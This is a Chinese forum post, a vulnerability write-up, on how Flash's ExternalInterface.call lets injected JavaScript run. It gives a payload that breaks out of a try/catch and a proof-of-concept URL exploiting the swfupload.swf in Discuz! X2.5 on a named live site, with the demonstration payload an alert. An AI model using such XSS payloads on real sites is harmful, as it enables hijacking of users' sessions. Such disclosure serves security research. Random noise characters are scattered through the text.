找回密码
 立即注册
查看: 2491|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
6 a$ a* H+ S$ x* V
: ^* u5 E$ B: {, Y0 q0 m( }flash.external.ExternalInterface.call($methodName, $parameter)% y& P3 \. S: ?  D) S
在浏览器中执行的是+ S9 t) L  u+ B' v8 m7 n4 [2 @

; {9 ]$ Y; I! P2 l; Z" _" Mtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}0 Y9 c1 m2 \6 O8 [; N
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# [0 a0 d; m- i' l( \* L0 Y# \8 |
1 k8 \2 T& ^7 q# W. ~. u' [flash.external.ExternalInterface.call("object."+$methodName, $parameter): X% H0 Z: B6 P
$methodName = a())}catch(e){alert(/xss/)}//5 e/ {1 M; N( B8 S
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
  O+ A8 y# Y# q& @9 F& M5 x2 T6 F. S2 V2 F- _7 t( s. l
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
8 w# h8 \  t5 ^$ y, w$ f9 W) F* R' B0 o  C5 K/ J
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ). c. @% R) P$ r0 V
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。( K* z. j" ?4 v
4 \: O4 [, x" T- \' W! v
4 W6 M4 O' a6 d( y. \: I, S

4 k1 H6 s% Z/ o) s1 v漏洞文件:upload\static\image\common\swfupload.swf
! }5 f, M4 H6 K/ W( w
1 p9 c4 J& d- M( ?原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
* Z4 [4 V8 i5 r. L# c
. S% B/ N" O6 @( O2 c7 G
. I+ s4 v' }' m8 W漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
5 g, D  v$ }7 Y: I% @, P+ s2 T6 b( @/ A
3 c. ~; u3 G$ g6 Z3 _' u& L3 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表